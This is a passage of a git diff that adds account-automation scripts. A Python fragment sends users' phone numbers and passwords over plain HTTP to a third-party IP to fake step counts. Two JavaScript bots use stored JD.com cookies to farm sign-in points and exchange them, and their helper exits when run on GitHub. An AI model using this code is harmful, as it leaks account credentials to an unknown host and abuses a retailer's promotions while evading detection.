CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; Tablet PC 2.0; .NET4.0E)', + +} + +for key in dict: + + number,password = (key,dict[key]) + + lj = f"http://42.193.130.93:8080/mi?phoneNumber={number}&password={password}&steps={number2}" + + r = requests.get(url = lj,headers=header) + + r.encoding = r.apparent_encoding + + t = r.text.encode('gbk', 'ignore').decode('gbk') + + print(t) + + print("您今日运动步数结果为{}".format(number2)) diff --git a/backUp/jd_car.js b/backUp/jd_car.js new file mode 100644 index 0000000..3efa88d --- /dev/null +++ b/backUp/jd_car.js @@ -0,0 +1,357 @@ +/* +京东汽车,签到满500赛点可兑换500京豆,一天运行一次即可 +长期活动 +活动入口:京东APP首页-京东汽车-屏幕右中部,车主福利 +更新地址:jd_car.js +已支持IOS双京东账号, Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, 小火箭,JSBox, Node.js +============Quantumultx=============== +[task_local] +#京东汽车 +10 7 * * * jd_car.js, tag=京东汽车, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_redPacket.png, enabled=true + +================Loon============== +[Script] +cron "10 7 * * *" script-path=jd_car.js, tag=京东汽车 + +===============Surge================= +京东汽车 = type=cron,cronexp="10 7 * * *",wake-system=1,timeout=3600,script-path=jd_car.js + +============小火箭========= +京东汽车 = type=cron,script-path=jd_car.js, cronexpr="10 7 * * *", timeout=3600, enable=true + */ +const $ = new Env('京东汽车'); + +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +const randomCount = $.isNode() ? 20 : 5; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://car-member.jd.com/api/'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdCar(); + await showMsg(); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jdCar() { + await check() + await sign() + await $.wait(1000) + await mission() + await $.wait(1000) + await getPoint() +} + +function showMsg() { + return new Promise(resolve => { + $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); + resolve() + }) +} + +function check() { + return new Promise(resolve => { + $.get(taskUrl('v1/user/exchange/bean/check'), (err, resp, data) => { + try { + if (err) { + data = JSON.parse(resp.body) + console.log(`${data.error.msg}`) + message += `签到失败,${data.error.msg}\n` + } else { + if (safeGet(data)) { + data = JSON.parse(data); + console.log(`兑换结果:${JSON.stringify(data)}`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function sign() { + return new Promise(resolve => { + $.post(taskUrl('v1/user/sign'), (err, resp, data) => { + try { + if (err) { + data = JSON.parse(resp.body) + console.log(`${data.error.msg}`) + message += `签到失败,${data.error.msg}\n` + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.status) { + console.log(`签到成功,获得${data.data.point},已签到${data.data.signDays}天`) + message += `签到成功,获得${data.data.point},已签到${data.data.signDays}天\n` + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function mission() { + return new Promise(resolve => { + $.get(taskUrl('v1/user/mission'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.status) { + let missions = data.data.missionList + for (let i = 0; i < missions.length; ++i) { + const mission = missions[i] + if (mission['missionStatus'] === 0 && (mission['missionType'] === 1 || mission['missionType'] === 5)) { + console.log(`去做任务:${mission['missionName']}`) + await doMission(mission['missionId']) + await $.wait(1000) // 等待防黑 + } + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function doMission(missionId) { + return new Promise(resolve => { + $.post(taskPostUrl('v1/game/mission', {"missionId": missionId}), async (err, resp, data) => { + try { + if (err) { + data = JSON.parse(resp.body) + console.log(`${data.error.msg}`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.status) { + console.log("任务领取成功") + await receiveMission(missionId) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function receiveMission(missionId) { + return new Promise(resolve => { + $.post(taskPostUrl('v1/user/mission/receive', {"missionId": missionId}), async (err, resp, data) => { + try { + if (err) { + data = JSON.parse(resp.body) + console.log(`${data.error.msg}`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.status) { + console.log("任务完成成功") + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getPoint() { + return new Promise(resolve => { + $.get(taskUrl('v1/user/point'), async (err, resp, data) => { + try { + if (err) { + data = JSON.parse(resp.body) + console.log(`${data.error.msg}`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.status) { + if (data.data.remainPoint >= data.data.oncePoint) { + console.log(`当前赛点:${data.data.remainPoint}/${data.data.oncePoint},可以兑换京豆,请打开APP兑换`) + message += `当前赛点:${data.data.remainPoint}/${data.data.oncePoint},可以兑换京豆,请打开APP兑换\n` + }else{ + console.log(`当前赛点:${data.data.remainPoint}/${data.data.oncePoint}无法兑换京豆`) + message += `当前赛点:${data.data.remainPoint}/${data.data.oncePoint},无法兑换京豆\n` + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function taskUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}${function_id}?timestamp=${new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000}`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "car-member.jd.com", + "Referer": "https://h5.m.jd.com/babelDiy/Zeus/44bjzCpzH9GpspWeBzYSqBA7jEtP/index.html", + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } +} + +function taskPostUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}${function_id}?timestamp=${new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000}`, + body: JSON.stringify(body), + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/json;charset=UTF-8", + "Host": "car-member.jd.com", + "activityid": "39443aee3ff74fcb806a6f755240d127", + "Referer": "https://h5.m.jd.com/babelDiy/Zeus/44bjzCpzH9GpspWeBzYSqBA7jEtP/index.html", + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_car_exchange_xh.js b/backUp/jd_car_exchange_xh.js new file mode 100644 index 0000000..2eb804f --- /dev/null +++ b/backUp/jd_car_exchange_xh.js @@ -0,0 +1,339 @@ +/* + 京东汽车兑换,500赛点兑换500京豆长期活动 + 活动入口:京东APP首页-京东汽车-屏幕右中部,车主福利 + 更新地址:https://github.com/X1a0He/jd_scripts_fixed/ + 已支持IOS, Node.js支持N个京东账号 + 脚本兼容: Node.js + 修复兑换api,Fix time:2021-09-06 22:02 + */ +const $ = new Env('京东汽车兑换'); +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +if($.isNode()){ + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if(process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://car-member.jd.com/api/'; +!(async() => { + if(!cookiesArr[0]){ + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + for(let i = 0; i < cookiesArr.length; i++){ + if(cookiesArr[i]){ + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + console.log(`=====京东账号${$.index} ${$.UserName}=====`) + for(let j = 0; j < 10; ++j){ + await exchange(); + } + } + } +})().catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') +}).finally(() => { + $.done(); +}) + +function exchange(){ + return new Promise(resolve => { + $.get(taskUrl('v1/user/exchange/bean/check'), (err, resp, data) => { + try{ + if(err){ + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试\n`) + } else { + if(safeGet(data)){ + data = JSON.parse(data); + if(data.status) console.log(`兑换结果:${data.data.reason}`); + } + } + } catch(e){ + $.logErr(e, resp) + } finally{ + resolve(); + } + }) + }) +} + +function taskUrl(function_id, body = {}){ + return { + url: `${JD_API_HOST}${function_id}?timestamp=${new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000}`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Host": "car-member.jd.com", + 'origin': 'https://h5.m.jd.com', + "Referer": "https://h5.m.jd.com/", + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } +} + +function safeGet(data){ + try{ + if(typeof JSON.parse(data) == "object"){ + return true; + } + } catch(e){ + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str){ + if(typeof str == "string"){ + try{ + return JSON.parse(str); + } catch(e){ + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +// prettier-ignore +function Env(t, e){ + "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); + + class s{ + constructor(t){this.env = t} + + send(t, e = "GET"){ + t = "string" == typeof t ? { url: t } : t; + let s = this.get; + return "POST" === e && (s = this.post), new Promise((e, i) => {s.call(this, t, (t, s, r) => {t ? i(t) : e(s)})}) + } + + get(t){return this.send.call(this.env, t)} + + post(t){return this.send.call(this.env, t, "POST")} + } + + return new class{ + constructor(t, e){this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`)} + + isNode(){return "undefined" != typeof module && !!module.exports} + + isQuanX(){return "undefined" != typeof $task} + + isSurge(){return "undefined" != typeof $httpClient && "undefined" == typeof $loon} + + isLoon(){return "undefined" != typeof $loon} + + toObj(t, e = null){try{return JSON.parse(t)} catch{return e}} + + toStr(t, e = null){try{return JSON.stringify(t)} catch{return e}} + + getjson(t, e){ + let s = e; + const i = this.getdata(t); + if(i) try{s = JSON.parse(this.getdata(t))} catch{} + return s + } + + setjson(t, e){try{return this.setdata(JSON.stringify(t), e)} catch{return !1}} + + getScript(t){return new Promise(e => {this.get({ url: t }, (t, s, i) => e(i))})} + + runScript(t, e){ + return new Promise(s => { + let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); + i = i ? i.replace(/\n/g, "").trim() : i; + let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); + r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; + const [o, h] = i.split("@"), n = { + url: `http://${h}/v1/scripting/evaluate`, + body: { script_text: t, mock_type: "cron", timeout: r }, + headers: { "X-Key": o, Accept: "*/*" } + }; + this.post(n, (t, e, i) => s(i)) + }).catch(t => this.logErr(t)) + } + + loaddata(){ + if(!this.isNode()) return {}; + { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); + if(!s && !i) return {}; + { + const i = s ? t : e; + try{return JSON.parse(this.fs.readFileSync(i))} catch(t){return {}} + } + } + } + + writedata(){ + if(this.isNode()){ + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); + s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) + } + } + + lodash_get(t, e, s){ + const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); + let r = t; + for(const t of i) if(r = Object(r)[t], void 0 === r) return s; + return r + } + + lodash_set(t, e, s){return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t)} + + getdata(t){ + let e = this.getval(t); + if(/^@/.test(t)){ + const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; + if(r) try{ + const t = JSON.parse(r); + e = t ? this.lodash_get(t, i, "") : e + } catch(t){e = ""} + } + return e + } + + setdata(t, e){ + let s = !1; + if(/^@/.test(e)){ + const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), + h = i ? "null" === o ? null : o || "{}" : "{}"; + try{ + const e = JSON.parse(h); + this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) + } catch(e){ + const o = {}; + this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) + } + } else s = this.setval(t, e); + return s + } + + getval(t){return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null} + + setval(t, e){return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null} + + initGotEnv(t){this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar))} + + get(t, e = (() => {})){ + t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => {!t && s && (s.body = i, s.statusCode = s.status), e(t, s, i)})) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { status: s, statusCode: i, headers: r, body: o }, o) + }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { + try{ + if(t.headers["set-cookie"]){ + const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); + s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar + } + } catch(t){this.logErr(t)} + }).then(t => { + const { statusCode: s, statusCode: i, headers: r, body: o } = t; + e(null, { status: s, statusCode: i, headers: r, body: o }, o) + }, t => { + const { message: s, response: i } = t; + e(s, i, i && i.body) + })) + } + + post(t, e = (() => {})){ + if(t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => {!t && s && (s.body = i, s.statusCode = s.status), e(t, s, i)}); else if(this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { status: s, statusCode: i, headers: r, body: o }, o) + }, t => e(t)); else if(this.isNode()){ + this.initGotEnv(t); + const { url: s, ...i } = t; + this.got.post(s, i).then(t => { + const { statusCode: s, statusCode: i, headers: r, body: o } = t; + e(null, { status: s, statusCode: i, 